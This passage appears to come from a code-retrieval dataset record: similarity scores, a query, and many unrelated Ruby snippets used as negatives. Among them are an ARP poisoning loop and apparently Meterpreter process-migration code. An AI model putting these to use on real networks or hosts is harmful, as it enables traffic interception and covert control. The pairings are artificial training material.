"0.6229092",
"0.6225234",
"0.6218382",
"0.62178093",
"0.6212558",
"0.62029886",
"0.61923873",
"0.61884654",
"0.61872756",
"0.61872756",
"0.61871487",
"0.61833024",
"0.6181051",
"0.61749566",
"0.61697376",
"0.6169247",
"0.6167248",
"0.6166924",
"0.6166377",
"0.6164955",
"0.6157684",
"0.6157684",
"0.6157684",
"0.61521864",
"0.61500734",
"0.6149768",
"0.6149483",
"0.6147535",
"0.6145655",
"0.6145338",
"0.6144727",
"0.61438024",
"0.613982",
"0.6134266",
"0.6133516",
"0.6132896",
"0.6131867",
"0.6129306",
"0.61274785",
"0.61274785",
"0.61274785",
"0.61274785",
"0.6118231",
"0.6115318",
"0.61134076",
"0.6110531",
"0.6108324",
"0.6106927",
"0.61055094",
"0.6102681",
"0.6099672",
"0.6098821",
"0.6096201",
"0.6094867",
"0.60880065",
"0.608698",
"0.60783124",
"0.60756105",
"0.6073952",
"0.6071348",
"0.6066859",
"0.6064919",
"0.6064919",
"0.6061787",
"0.6059924",
"0.60578674",
"0.6056334",
"0.60511464",
"0.605074",
"0.6047359",
"0.6042925",
"0.6042925",
"0.6042925",
"0.6042925",
"0.6042925",
"0.6038673",
"0.60373056",
"0.60373056"
] | 0.7006518 | 0 |
CB1 move to IMPI | def hit
action = params[:req]
name = params[:name] || params[:id]
render api_not_supported action, name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def send_coor_msg(pid, msg)\n buffer = $b.clone\n buffer[:type] = \"COORDINATOR\"\n buffer[:msg] = msg\n\n # najdu dalsi aktivni proces\n succ = next_pid(pid)\n while($processes[succ][:active] != true)\n succ = next_pid(succ)\n end\n\n $processes[succ][:buffer] = buffer\nend",
"def move(pid, num_punters, map, claimed, rem, setup=false, tbl=nil)\n sites = map['sites']\n rivers = map['rivers']\n mines = map['mines']\n _format = \"\"\"\nInvoke C++ program with the following format:\nn m k pid np\ns_1 t_1 c_1\n...\ns_m t_m c_m (edges)\na_1 ... a_k (mines)\nmode\nextra\n\n0 <= s_i, t_i < m\n-1 <= c_i < np (-1: not claimed)\n0 <= a_i < n\n\n\nif mode == 'state'\n extra == ''\n The C++ program should return\n 'tbl (state)'\n where state is a string representing a state (without spaces)\nif mode == 'run'\n extra looks like:\ntbl\nai_kind\n The C++ program should return\n 'pass'\n or\n 'claim s t'\n in one line.\n \"\"\"\n n = sites.size\n m = rivers.size\n k = mines.size\n np = num_punters\n edges = []\n cl = {}\n for c in claimed\n cl[[c[1], c[2]]] = c[0]\n end\n for e in rivers\n col = -1\n if cl[[e['source'], e['target']]]\n col = cl[[e['source'], e['target']]]\n end\n edges << [e['source'], e['target'], col]\n end\n io = IO.popen(File.expand_path(File.dirname($0)) + '/core', 'r+')\n io.puts(\"#{n} #{m} #{k} #{pid} #{np} #{rem}\")\n for i in 0 ... m\n io.puts(edges[i].join(' '))\n end\n mine_ids = []\n for i in 0 ... k\n mine_ids << (mines[i]).to_s\n end\n io.puts(mine_ids.join(' '))\n ai_kind = @ai_kind\n if ai_kind == 'hybrid'\n # Choose AI type by np, size, and so on\n if np == 2\n ai_kind = 'two_player_minmax'\n elsif np >= 4\n ai_kind = 'mine_connect'\n else\n ai_kind = 'greedy'\n end\n end\n if setup\n io.puts('setup')\n else\n io.puts('run')\n io.puts(tbl)\n io.puts(ai_kind)\n end\n io.close_write\n eval = 0\n STDERR.puts(\"playing as punter #{pid} (total = #{num_punters})\")\n while answer = io.gets.chomp.split\n if answer[0] != 'info'\n break\n end\n # info eval (turns) (value)\n if answer[1] == 'eval'\n turns = answer[2].to_i\n eval = answer[3].to_i\n if turns >= 0\n STDERR.puts(\"evaluation: turns=#{turns}, value=#{eval}\")\n else\n STDERR.puts(\"full evaluation: value=#{eval}\")\n end\n end\n end\n if answer[0] == 'pass'\n return {'pass' => {'punter' => pid}}, eval\n end\n if answer[0] == 'claim'\n s = answer[1].to_i\n t = answer[2].to_i\n return {'claim' => {'punter' => pid, 'source' => s, 'target' => t}}, eval\n end\n if answer[0] == 'tbl'\n STDERR.puts(\"Got tbl (tbl size = #{answer[1].size})\")\n return answer[1]\n end\n end",
"def call_move(reg_key, addr, i_reg, m_spec)\n to_addr = get_mem_addr(addr, i_reg)\n from_addr = @registers['I1'].word.to_i\n\n (0..(m_spec - 1)).each do |i|\n @computer.memory.write(to_addr + i, @computer.memory.read(from_addr + i))\n end\n end",
"def pre_sync\n #move\n end",
"def mass_copier_batch(project_id, from_rfc5646_locale, to_rfc5646_locale)\n b = Sidekiq::Batch.new\n b.description = \"Project Translations Mass Copier #{project_id} (#{from_rfc5646_locale} -> #{to_rfc5646_locale})\"\n b.on :success, ProjectTranslationsMassCopier::Finisher, project_id: project_id\n b\n end",
"def move(fromaccount, toaccount, amount, minconf = 1, comment = nil)\n coind.move fromaccount, toaccount, amount, minconf, comment\n end",
"def move_me\n new_loc = nil\n ploc = @partner[:loc]\n dir = @partner[:dir]\n dist = @partner[:dist]\n if dist == 30\n new_dist = 16\n else\n new_dist = dist / 2\n end\n log \"Moving me. Partner data: #{@partner}\"\n new_loc = [ploc[0] - dir[0] * new_dist, ploc[1] - dir[1] * new_dist]\n log \"Move me to #{new_loc}\"\n \n goto new_loc\n return new_loc\n end",
"def move(from, card, to)\n from_pile = parse_pile(from)\n to_pile = parse_pile(to)\n result = from_pile.move(card, to_pile)\n puts ascii\n result\n end",
"def encode_mpi(n) # rubocop:disable Naming/UncommunicativeMethodParamName\n chars, n = [], n.to_i\n chars << (n & 0xff) && n >>= 8 while n != 0\n chars << 0 if chars.empty? || chars.last >= 0x80\n chars.reverse.pack('C*')\n end",
"def to_process\n IONe.new($client, $db).AnsiblePlaybookToProcess(@body['id'], @params['hosts'], 'default', @params['vars'])\n end",
"def move_folder_ind\n create_process(process: \"MOVE_FOLDER\")\n end",
"def pbForgetMove(pkmn,move)\n return 0\n end",
"def pbForgetMove(pkmn,move)\n return 0\n end",
"def pbForgetMove(pkmn,move)\n return 0\n end",
"def initiate_move(input)\n from_sq = board.squares[input[0]]\n to_sq = board.squares[input[1]]\n\n piece = from_sq.value\n\n piece.move(to_sq)\n end",
"def rco_broadcast(m)\n puts @pid.to_s+\" rco_broadcast: \"+m\n self.rb_broadcast(m)\n self.rco_deliver(@pid, m)\n end",
"def notify(player_number, column_number)\n @game.make_move(player_number, column_number)\n\tend",
"def set_ipc_boeing\n @ipc_boeing = IpcBoeing.find(params[:id])\n end",
"def update_routine_move\n if @wait_count > 0\n @wait_count -= 1\n else\n @move_succeed = true\n command = @move_route.list[@move_route_index]\n if command\n process_move_command(command)\n advance_move_route_index\n end\n end\n end",
"def robin; end",
"def process_interface_additions\n print <<EOF\n procedure :: ci_initialize\n procedure :: ci_set_communicator\n procedure :: ci_delete\n procedure :: ci_create\n procedure :: ci_split\nEOF\nend",
"def move; end",
"def move; end",
"def replaced(from, to)\n\t\tsuper if defined? super\n\t\tif (from.distribute? && to.distribute?) && (to.self_owned? || from.self_owned?)\n\t\t unless Distributed.updating?(self) || (Distributed.updating?(from) && Distributed.updating?(to))\n\t\t\tDistributed.each_updated_peer(from) do |peer|\n\t\t\t peer.transmit(:plan_replace, self, from, to)\n\t\t\tend\n\t\t end\n\t\tend\n\t end",
"def op\n sequence[ip]\n end",
"def update_common_work_ipis\n CommonWorkIpi.find_each do |common_work_ipi|\n ipi = common_work_ipi.ipi\n if master_ipi = Ipi.where(email: ipi.email, master_ipi: true ).first\n common_work_ipi.update(ipi_id: master_ipi.id)\n end\n end\n end",
"def assign(ip, _external, opts = {})\n instcs = @ec2.describe_instances({ :instance_ids => [@deploy_id] })\n inst = instcs[0][0].instances[0]\n\n # find NIC to which the IP belongs (avoid Ceph network)\n nic_id = nil\n inst.network_interfaces.each do |ec2_nic|\n ec2_subnet = @ec2.describe_subnets(\n { :subnet_ids => [ec2_nic.subnet_id] }\n )[0][0]\n ip_range = IPAddr.new(ec2_subnet.cidr_block)\n\n if ip_range.include?(ip)\n nic_id = ec2_nic.network_interface_id\n end\n end\n\n if nic_id\n @ec2.assign_private_ip_addresses(\n { :network_interface_id => nic_id,\n :private_ip_addresses => [ip] }\n )\n\n @ec2.associate_address(\n { :network_interface_id => nic_id,\n :allocation_id => opts[:alloc_id],\n :private_ip_address => ip }\n )\n else\n OpenNebula.log_error(\"Can not find any interface to assign #{ip}\")\n exit 1\n end\n\n 0\n rescue StandardError => e\n OpenNebula.log_error(\"Error assiging #{ip}:#{e.message}\")\n 1\n end",
"def imei; end",
"def cmd_move(_args)\n #puts [:move, _args].inspect\n data=get_src(_args[0][0], _args[2][0], _args[2][1])\n #p '%x' % data\n set_dst(_args[0][0], _args[1][0], _args[1][1], data)\n @flags[:n]=true if data<0\n @flags[:z]=true if data==0\n @flags[:v]=false\n @flags[:c]=false\n end",
"def move(accountid, moveto, amount, confirms = 6)\n raise # TODO\n end",
"def register_ssh_forward from,to,localport,toport\n @connections[to] ||= localport\n @connections[from][:thread].exit! unless @connections[from][:thread].nil?\n @connections[from].forward.local(localport, to, toport)\n @@local_ports << localport\n end",
"def transfer!(options = {}); transfer(options).broadcast!(true); end",
"def transfer!(options = {}); transfer(options).broadcast!(true); end",
"def mmp; param(1); end",
"def move_piece(from, to)\n raise 'needs implementation'\n end",
"def move(dest, crown?) # called in :turn > active_piece.move()\n # updates dest in board array\n # updates piece with new coordinates\n # updates jumped pieces?\nend",
"def execute_move\n\t\traise RuntimeError, 'This must be implemented in child class'\n\tend",
"def distribute_cc\n\n self.get_target_users.each do |user_id|\n next if self.user_id == user_id\n\n decided_inbox = WorkflowsHelper.get_decided_inbox(user_id)\n copied_item = self.item.copy(user_id, decided_inbox.id)\n end\n end",
"def poison()\n\t puts \"ARP Poisining started...\"\n\t\t while true do\n\t\t \t@v_packet.to_w(@ifname)\n\t\t \tsleep(1)\n\t\t \t@r_packet.to_w(@ifname)\n\t\t \tsleep(1)\n\t\t end\n\tend",
"def move\n\n end",
"def move\n @route.stations[@index_current_station].recieve_train(self)\n @route.stations[@index_current_station - 1].send_train(self)\n end",
"def prep_for_send(params)\n\n\t\tself.log << \"Starting prep for send\"\n\n\t\t@driver.each do |adrc_case|\n\n\t\t\tadrc_case[:images].each do |image_case|\n\t\t\t\t# create the target dir\n\t\t\t\tr_call \"mkdir #{image_case[:target_dir]}\"\n\n\t\t\t\t# copy over the image\n\t\t\t\tr_call \"cp -r #{image_case[:path]}/* #{image_case[:target_dir]}/\"\n\n\t\t\tend\n\n\t\t\t# 2020-12-04 wbbevis -- Until Merida gets reimaged and returned to the lab, I'm going to have to use\n\t\t\t# Tamatoa as the host for this process. Not a bad fit, really, as everyone is out of the office, and \n\t\t\t# it's a relatively hefty machine that can do this kind of work pretty quickly. Once Merida is back, \n\t\t\t# I'll need to upgrade python3 on it to 3.8. \n\n\n\t\t if !params[:local]\n\t\t\t # copy that to the sending host\n\n\t\t\t r_call \"cd #{params[:target_dir]}; zip -r #{adrc_case[:case_dir]}.zip #{adrc_case[:case_dir]}\"\n\t\t\t r_call \"rsync -av #{params[:target_dir]}/#{adrc_case[:case_dir]}.zip #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu:/Users/#{params[:run_by_user]}/adrc_upload/\"\n\t\t\t\tr_call \"ssh #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu \\\"/usr/bin/gunzip /Users/#{params[:run_by_user]}/adrc_upload/#{adrc_case[:case_dir]}.zip\\\"\"\n\t\t\tend\n\n\t\t\tadrc_case[:images].each do |image_case|\n\n\n\t\t\t if !params[:local]\n\t\t\t\t\t# unzip what's in the target dir\n\t\t\t\t\tr_call \"ssh #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu \\\"/usr/bin/bunzip2 /Users/#{params[:run_by_user]}/adrc_upload/#{image_case[:target_dir]}/*.bz2\\\"\"\n\t\t\t\telse\n\t\t\t\t\tr_call \"/usr/bin/bunzip2 #{image_case[:target_dir]}/*.bz2\"\n\t\t\t\tend\n\n\t\t\t\t# remove any of those extraneous files\n\t\t\t\t# this may seem less readable than doing it other ways, but this ... is actually better.\n\t\t\t\tglob_patterns = ['/*','/*/*','/*/*/*'].map{|prefix| ['.json','.yaml','.pickle'].map{|suffix| \"#{prefix}#{suffix}\"}}.flatten\n\t\t\t\tglob_patterns.each do |pattern|\n\t\t\t\t\tDir.glob(image_case[:target_dir]+pattern).each do |deleteable_file|\n\n\t\t\t \t\tif !params[:local]\n\t\t\t\t\t\t\tremote_file_path = deleteable_file.gsub(params[:target_dir],\"/Users/#{params[:run_by_user]}/adrc_upload\")\n\t\t\t\t\t\t\t# File.delete(image_case[:target_dir]+pattern)\n\t\t\t\t\t\t\tr_call \"ssh #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu \\\"rm #{remote_file_path}\\\"\"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tr_call \"rm #{deleteable_file}\"\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\tend\n\n scrubbable_file_extensions = ['/*','/*/*','/*/*/*'].map{|prefix| ['.dcm','.0*','.1*', '.2*','.3*'].map{|suffix| \"#{prefix}#{suffix}\"}}.flatten\n scrubbable_file_extensions.each do |file_extention|\n \tDir.glob(image_case[:target_dir]+file_extention).each do |scrubbable_dcm_filename|\n\n\t\t\t \t\tif !params[:local]\n\t \t\tremote_scrubbable_filename = scrubbable_dcm_filename.gsub(params[:target_dir],\"/Users/#{params[:run_by_user]}/adrc_upload\")\n\t \t\tr_call \"ssh #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu \\\"cd /Users/#{params[:run_by_user]}/adrc_upload/; source ./bin/activate; python dicom_scrubber.py #{remote_scrubbable_filename} -a #{adrc_case[:participant].adrcnum}; deactivate\\\"\"\n\t \telse\n\t \t\tr_call \"cd /Users/#{params[:run_by_user]}/adrc_upload/; source ./bin/activate; python dicom_scrubber.py #{scrubbable_dcm_filename} -a #{adrc_case[:participant].adrcnum}; deactivate\"\n\t \tend\n \tend\n end\n\n # instead of \n end\n\n\n\t\t\tif !params[:local]\n \tr_call \"ssh #{params[:run_by_user]}@#{params[:computer]}.dom.wisc.edu \\\"cd /Users/#{params[:run_by_user]}/adrc_upload/; /usr/bin/zip -r #{adrc_case[:case_dir]}.zip #{adrc_case[:case_dir]}\"\n else\n\n \tr_call \"cd /tmp/adrc_upload/; /usr/bin/zip -r #{adrc_case[:case_dir]}.zip #{adrc_case[:case_dir]}\"\n end\n\n # serialize the directory\n\t\t # r_call \"tar -C /tmp/adrc_upload -zcf /tmp/adrc_upload/#{adrc_case[:case_dir]}.tar.gz #{adrc_case[:case_dir]}\"\n\t\t # sounds like they actually want .zip files\n\t\t # remove the local copy\n\t\t # r_call \"rm -rf /tmp/adrc_upload/#{adrc_case[:case_dir]}/\"\n\n\t\tend\n\n\t\tself.log << \"Prep for send complete\"\n\tend",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def broadcast_example_b1\n end",
"def blmove(source, destination, where_source, where_destination, timeout: T.unsafe(nil)); end",
"def execute(message)\n data_payload = unpack(message)\n payload = new_payload(\n config.fetch(:name, :jackal_cfn),\n :cfn_resource => data_payload\n )\n if(config[:reprocess])\n debug \"Reprocessing received message! #{payload}\"\n Carnivore::Supervisor.supervisor[destination(:input, payload)].transmit(payload)\n message.confirm!\n else\n completed(payload, message)\n end\n end",
"def spin_up i\n\t\t\tlog.info \"Spinning up: #{idesc i}\"\n\t\t\t\n\t\t\tsock = nil\n\t\t\tbegin\n\t\t\t\tport, sock = find_an_open_port\n\t\t\t\tsock.close rescue nil\n\t\t\t\tdir = \"#{app_root_for(i.app, i.version)}/code\"\n\t\t\t\tpid = run_server dir, port\n\t\t\t\ti.host, i.port, i.pid = host, port, pid\n\t\t\t\ti.started!\n\t\t\trescue Exception => e # TODO: Punting\n\t\t\t\t$stderr.puts e.inspect, *e.backtrace\n\t\t\t\ti.dead!\n\t\t\tensure\n\t\t\t\tsock.close rescue nil if sock\n\t\t\tend\n\t\t\ti\n\t\tend",
"def execute_command (event)\n\t# Extract the Message from the PubSub Event\n\tbegin\n\t message = event.first_element(\"items\")\\\n\t\t .first_element(\"item\")\\\n\t\t\t .first_element(\"message\")\\\n\t\t\t .first_element(\"body\").text\n\t if message.nil?\n\t\treturn\n\t end\n\trescue Exception => ex\n\t return\n\tend\n\n\t# Parse the Message to extract the Command\n\targArray = message.split(' ')\n\tif (argArray.length < 1)\n\t error \"Message too short! '#{message}'\"\n\t return\n\tend\n\t \n\t# Process the command, if it is valid \n\tincomingPubSubNode = event.first_element(\"items\").attributes['node']\n\tif (argArray[0].upcase == \"DISCOVER\") \n\t debug \"Received on '#{incomingPubSubNode}' - msg: '#{message}'\"\n\t begin\n\t\t# Update the database\n\t\tif (@@inventory == nil)\n\t\t @@inventory = MySQLInventory.new(@@db_host, @@db_user, @@db_pass, @@db);\n\t\tend\n\n\t\t# First, get the old IP of the node\n\t\tips = []\n\t\t@@inventory.runQuery(\"SELECT ip FROM nodeToIP WHERE identifier='#{argArray[1]}';\") {|result|\n\t\t ips << result\n\t\t}\n\n\t\tif (ips.size != 0)\n\t\t if ( ips[0] != argArray[2] ) \n\t\t\t# Update the nodeToIP table with the new IP address\n\t\t\tif (ips.size > 1) \n\t\t\t # Delete all entries and insert single entry\n\t\t\t @@inventory.runQuery(\"DELETE FROM nodeToIP WHERE identifier='#{argArray[1]};\") {}\n\n\t\t\t @@inventory.runQuery(\"INSERT INTO nodeToIP SET ip='#{argArray[2]}', identifier='#{argArray[1]}';\"){}\n\t\t\telse\n\t\t\t # Do a update\n\t\t\t @@inventory.runQuery(\"UPDATE nodeToIP SET ip='#{argArray[2]}' WHERE identifier='#{argArray[1]}';\"){}\n\t\t\tend\n\n\t\t\t# Update the nodes table to reflect the change of IP\n\t\t\tips.each {|ip|\n\t\t\t @@inventory.runQuery(\"UPDATE nodes SET control_ip='#{argArray[2]}' WHERE control_ip='#{ip}';\"){}\n\t \t\t # Create the pubsub node for the new IP\n\t \t\t @@service.create_pubsub_node(\"/#{DOMAIN}/#{SYSTEM}/#{ip}\")\n\t\t\t}\n\n\t\t\t# Send the response to the node\n\t\t\titem_id = event.first_element(\"items\")\\\n\t\t\t\t .first_element(\"item\").attribute(\"id\").to_s\n\t\t\tresponse = \"OK #{item_id} #{argArray[1]} #{argArray[2]}\"\n\t\t\titem = Jabber::PubSub::Item.new\n\t\t\tmsg = Jabber::Message.new(nil, response);\n\t\t\titem.add(msg)\n\n\t\t\t@@service.publish_to_node(\"/#{DOMAIN}/#{SYSTEM}/#{@@user}\", item)\n\t\t end\n\t\tend\n\t rescue Exception => ex\n\t\terror \"Failed to process message: '#{message}' - Error: '#{ex}'\"\n\t\treturn\n\t end\n\tend\n end",
"def move_ilo(ilo, new_num)\n if (ilo.ilo_number < new_num)\n logger.debug \"Moving ILOs up #{ilo.ilo_number} to #{new_num}\"\n learning_outcomes.where(\"ilo_number > #{ilo.ilo_number} and ilo_number <= #{new_num}\").each { |ilo| ilo.ilo_number -= 1; ilo.save}\n elsif (ilo.ilo_number > new_num)\n learning_outcomes.where(\"ilo_number < #{ilo.ilo_number} and ilo_number >= #{new_num}\").each { |ilo| ilo.ilo_number += 1; ilo.save}\n end\n ilo.ilo_number = new_num\n ilo.save\n end",
"def slaveof(host, port); end",
"def fillInNodes()\n msg = Msg.new\n msg.setConfig(\"type\", 1)\n msg.setConfig(\"ttl\", $ports.length)\n msg.setConfig(\"seq\", nextSeqNum())\n msg_str = $hostname + \"\\t\"\n if $neighbors.length > 0\n $neighbors.each do |dst, distance|\n msg_str += dst + \",\" + distance.to_s + \"\\t\"\n end\n msg.setMessage(msg_str)\n $clients.each do |dst, client| \n sendMessage(client, msg)\n end\n end\nend",
"def connect(p0) end",
"def move(to)\n @moved = true\n super(to)\n end",
"def execute(message)\n data_payload = unpack(message)\n payload = new_payload(\n config[:name],\n :cfn_event => data_payload\n )\n if(config[:reprocess])\n debug \"Reprocessing payload through current source (#{destination(:input, payload)})\"\n Carnivore::Supervisor.supervisor[destination(:input, payload)].transmit(payload)\n message.confirm!\n else\n job_completed(:jackal_cfn, payload, message)\n end\n end",
"def ready_remix() end",
"def branch_to\n @first unless opcode == :swi\n end",
"def setup_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n goto(@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0)\n end",
"def move_value(from,to)\n #add that piece to location 'to'\n @board[to.first][to.last].chess_piece = get(from.first,from.last)\n #remove piece in location 'from'\n @board[from.first][from.last].chess_piece = nil\n end",
"def common_start()\n\n # We are not the leader or we have not received our ID yet\n puts \"#{MY_IP} is not the leader\"\n \n if @leader.id == -1\n \n # If we have not received our ID, let's assume we will be the leader\n @leader.set_id(0)\n @leader.set_leader(0)\n \n puts \"#{MY_IP} will be the leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n \n else\n \n # If we have received our ID, try to become leader\n puts \"Trying to become leader...\"\n \n # Get all machines' IDs\n mcc = MCollectiveLeaderClient.new(\"leader\")\n ids = mcc.ask_id()\n \n # See if some other machine is leader\n exists_leader = false\n ids.each do |id|\n if id < @leader.id\n exists_leader = true \n break\n end\n end\n \n # If there is no leader, we will be the new leader\n if !exists_leader\n mcc.new_leader(@leader.id.to_s())\n puts \"...#{MY_IP} will be leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n else\n puts \"...Some other machine is/should be leader\"\n end\n mcc.disconnect\n \n return\n end\n\n end",
"def move_it(offs_vector)\n \txlat = Geom::Transformation.new(offs_vector)\n \t\n \tcd = @ci.definition\n \tcd.entities.transform_entities(xlat, @ents_to_move)\n \t\n \t@last_comp_moved = @ci\n end",
"def grid_move(new_grid_pos)\n @grid_pos = new_grid_pos\n @ori_x = original_x\n @ori_y = original_y\n self.battle_phase = :move\n end",
"def on_ready(s, commands)\n create_server_on_master(s)\n \n wait_for_public_ip = get_field('wait_for_public_ip')\n\n start = Time.now\n unless wait_for_public_ip == false\n msg = \"Waiting for server '#{s.name}' #{s.identity} to get a public ip\"\n Maestro.log.debug msg\n write_output(\"#{msg}... \")\n \n begin\n s.wait_for { !public_ip_address.nil? and !public_ip_address.empty? }\n rescue Fog::Errors::TimeoutError => e\n msg = \"Server '#{s.name}' #{s.identity} failed to get a public ip (#{Time.now - start}s)\"\n Maestro.log.warn msg\n write_output(\"failed (#{Time.now - start}s)\\n\")\n return nil\n end\n end\n \n Maestro.log.debug \"Server '#{s.name}' #{s.identity} is now accessible through ssh (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n \n # save some values in the workitem so they are accessible for deprovision and other tasks\n populate_meta([s], 'new')\n save_server_in_context([s])\n \n log_output(\"Server '#{s.name}' #{s.identity} started with public ip '#{s.public_ip_address}' and private ip '#{private_address(s)}'\", :info)\n \n start = Time.now\n msg = \"Initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}'\"\n Maestro.log.debug msg\n write_output(\"#{msg}...\")\n begin\n setup_server(s)\n Maestro.log.debug \"Finished initial setup for server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n rescue Net::SSH::AuthenticationFailed => e\n log_output(\"Failed to setup server '#{s.name}' #{s.identity} on '#{s.public_ip_address}' (#{Time.now - start}s). Authentication failed for user '#{s.username}'\")\n return nil\n end\n \n # provision through ssh\n start = Time.now\n server_errors = provision_execute(s, commands)\n unless server_errors.empty?\n log_output(\"Server '#{s.name}' #{s.identity} failed to provision\", :info)\n write_output(server_errors.join(\"\\n\"))\n return nil\n end\n log_output(\"Server '#{s.name}' #{s.identity} ssh provisioned in #{Time.now-start}s\", :info)\n \n return s\n end",
"def connect_pid_position (port, dof)\n @port = port\n case dof\n when :SURGE\n @port.connect_to do |sample, _|\n @window.pid_surge_pose.update(sample.linear[0], \"Surge\")\n end \n when :SWAY\n @port.connect_to do |sample, _|\n @window.pid_sway_pose.update(sample.linear[1], \"Sway\")\n end \n when :HEAVE\n @port.connect_to do |sample, _|\n @window.pid_heave_pose.update(sample.linear[2], \"Heave\")\n end\n \n when :YAW\n @port.connect_to do |sample, _|\n @window.pid_yaw_pose.update(sample.angular[2]*180/Math::PI, \"Yaw\")\n end\n end\n end",
"def broadcast\n end",
"def prep\n ssh_session do |session|\n @results['prep'] = _recursor(@config['prep'],session)\n end\n @log.info \"FINISHED PREP STEPS....\"\n end",
"def interconnect_mrm_rx(port)\n#ring frames\n#Test\n#TestPropagate\n#TestMgrNAck\n#TopologyChange\n#LinkUp\n#LinkDown\n\n test \"interconnect_mrm_rx port #{port}\" do\n primary = (port == $ring_port0) ? true : false\n in_ring = (port == $ring_port_in) ? true : false\n\n t_i(\"Create MC_Test frame\")\n frame = frame_create(MC_TEST, SC_STRING, 0, 0, \"mrp\")\n rx_ifh = rx_ifh_create(IGNORE, $ts.dut.port_list[port])\n\n sleep 2\n\n test \"Check LOC active\" do\n status = $ts.dut.call(\"mesa_mrp_status_get\", 0)\n status = primary ? status[\"p_status\"] : status[\"s_status\"]\n if (!in_ring && status[\"tst_loc\"] != true)\n t_e(\"Unexpected tst_loc #{status[\"tst_loc\"]}\")\n end\n end\n\n test \"Transmit TST frame on ring port to see no forwarding\" do\n frametx = frame.dup + \"mrp_tst t_sa #{UC_NUMBER_O} c_seq_num 1 \"\n frame_tx(frametx, port, \"\", \"\", \"\", \"\")\n end\n\n test \"Check status\" do\n status = $ts.dut.call(\"mesa_mrp_status_get\", 0)\n status = primary ? status[\"p_status\"] : status[\"s_status\"]\n if (!in_ring && status[\"tst_loc\"] == true)\n t_e(\"Unexpected tst_loc #{status[\"tst_loc\"]}\")\n end\n end\n\n sleep 2\n\n test \"Check LOC active\" do\n status = $ts.dut.call(\"mesa_mrp_status_get\", 0)\n status = primary ? status[\"p_status\"] : status[\"s_status\"]\n if (status[\"tst_loc\"] != true)\n t_e(\"Unexpected tst_loc #{status[\"tst_loc\"]}\")\n end\n end\n\n test \"Transmit Propagate frame on ring port to check forwarding and no copy to CPU\" do\n frametx = frame.dup + \"mrp_prop_nack \"\n framerx = in_ring ? \"\" : frametx\n primary ? frame_tx(frametx, port, \"\", framerx, \"\", \"\") : frame_tx(frametx, port, framerx, \"\", \"\", \"\")\n end\n\n test \"Transmit MgrNAck frame on ring port to see forwarding and no copy to CPU\" do\n frametx = frame.dup + \"mrp_prop_nack t_s_type 1 \"\n framerx = in_ring ? \"\" : frametx\n primary ? frame_tx(frametx, port, \"\", framerx, \"\", \"\") : frame_tx(frametx, port, framerx, \"\", \"\", \"\")\n end\n\n t_i(\"Create MC_Control frame\")\n frame = frame_create(MC_CONTROL, SC_STRING, 0, 0, \"mrp\")\n\n test \"Transmit Topology frame on ring port to see no copy to CPU and no forwarding\" do\n frametx = frame.dup + \"mrp_topo \"\n frame_tx(frametx, port, \"\", \"\", \"\", \"\")\n end\n\n test \"Transmit LinkChange LinkDown frame on ring port to see copy to CPU and no forwarding\" do\n frametx = frame.dup + \"mrp_lnk \"\n cpy_cpu = in_ring ? \"\" : rx_ifh + frametx\n frame_tx(frametx, port, \"\", \"\", \"\", cpy_cpu)\n end\n\n test \"Transmit LinkChange LinkUp frame on ring port to see copy to CPU and no forwarding\" do\n frametx = frame.dup + \"mrp_lnk t_type 5 \"\n cpy_cpu = in_ring ? \"\" : rx_ifh + frametx\n frame_tx(frametx, port, \"\", \"\", \"\", cpy_cpu)\n end\n end\nend",
"def go!\n send_position_to_engine\n move_piece(bestmove)\n end",
"def cmd_migrate(*args)\n\t\tif (args.length == 0)\n\t\t\tprint_line(\n\t\t\t\t\"Usage: migrate pid\\n\\n\" +\n\t\t\t\t\"Migrates the server instance to another process.\\n\" +\n\t\t\t\t\"Note: Any open channels or other dynamic state will be lost.\")\n\t\t\treturn true\n\t\tend\n\n\t\tpid = args[0].to_i\n\t\tif(pid == 0)\n\t\t\tprint_error(\"A process ID must be specified, not a process name\")\n\t\t\treturn\n\t\tend\n\n\t\tprint_status(\"Migrating to #{pid}...\")\n\n\t\t# Do this thang.\n\t\tclient.core.migrate(pid)\n\n\t\tprint_status(\"Migration completed successfully.\")\n\tend",
"def update\n m = MonoMatrix::Switcher.new \"/dev/ttyAMA0\"\n m.switch params[:name], channel_params[:input].to_i\n head :no_content\n end",
"def perform_chess_move(chess_move, chessboard)\n # If destination cells contains a chess piece, overwrite it\n chessboard.reposition(chess_move.from, chess_move.to)\n end",
"def install\n ENV.j1\n ENV['MPICC'] = \"#{HOMEBREW_PREFIX}/bin/mpicc\"\n ENV['MPICXX'] = \"#{HOMEBREW_PREFIX}/bin/mpicxx\"\n ENV['MPIF90'] = \"#{HOMEBREW_PREFIX}/bin/mpif77\"\n ENV['MPIF77'] = \"#{HOMEBREW_PREFIX}/bin/mpif90\"\n system \"./configure\", \"--disable-debug\", \"--disable-dependency-tracking\",\n \"--prefix=#{prefix}\"\n system \"make\"\n system \"make install\"\n end",
"def move(item, project)\n args = {id: item.id, project_id: project.id}\n return @client.api_helper.command(args, \"item_move\")\n end",
"def move_to to\n\t\td = Distance.get( @square, to)\n\t\tmove d.dir( @square), to\n\tend",
"def wip\n end",
"def plugin_name\n 'imip'\n end",
"def lmove(source, destination, where_source, where_destination); end",
"def lmove(source, destination, where_source, where_destination); end",
